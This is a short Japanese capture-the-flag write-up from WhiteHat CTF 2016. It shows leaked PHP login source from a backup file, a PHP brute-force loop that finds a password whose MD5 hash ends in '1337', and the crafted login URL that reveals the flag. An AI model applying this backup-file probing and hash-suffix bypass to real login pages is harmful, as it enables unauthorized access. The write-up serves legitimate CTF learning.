WhiteHat CTF 2016 Writeup

WhiteHat CTF 2016 に Team:Harekaze で参加して1問だけ解きました。

Banh bot loc (Web 100)

@lv7777 さんにより /index.php.bak にアクセスすることでソースが降ってくることが分かっていました。

<?php
    function checklogin($username, $password, $key, $secret)
    {
        if($username.$key == md5($password))
        echo $secret;
    else echo "noob";
    }
$key = "1337";
$secret = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
echo "<html>
    <title>hello</title>
    <body>
    <a href='index.php?username=guest&password=guest'>login</a><br>
    </body>";
if (isset($_GET['username'])&&isset($_GET['password']))
    {
        checklogin($_GET['username'],$_GET['password'],$key,$secret);
        die(0);
    }
echo "Login to get our secret";
echo "</html>";
?>

最初はレインボーテーブルとか使うのかなーと思っていましたが、ソースをよく見たらハッシュの下位4桁が指定されているだけなのですぐ生成できそうです。

php > for($i=0;$i<10000000;$i++){$plain='salt'.$i;$hashed=md5($plain);if(preg_match('/1337$/', $hashed)){echo $hashed.' '.$plain;break;}}
9fdf98f8019e1bc1e0b0cbe60d1e1337 salt369692

ということで /index.php?username=9fdf98f8019e1bc1e0b0cbe60d1e&password=salt369692 にアクセスすればフラグが出ます。

WhiteHat{92ab818618fee438a1ea3944b5940237975f2b1d}

以上です。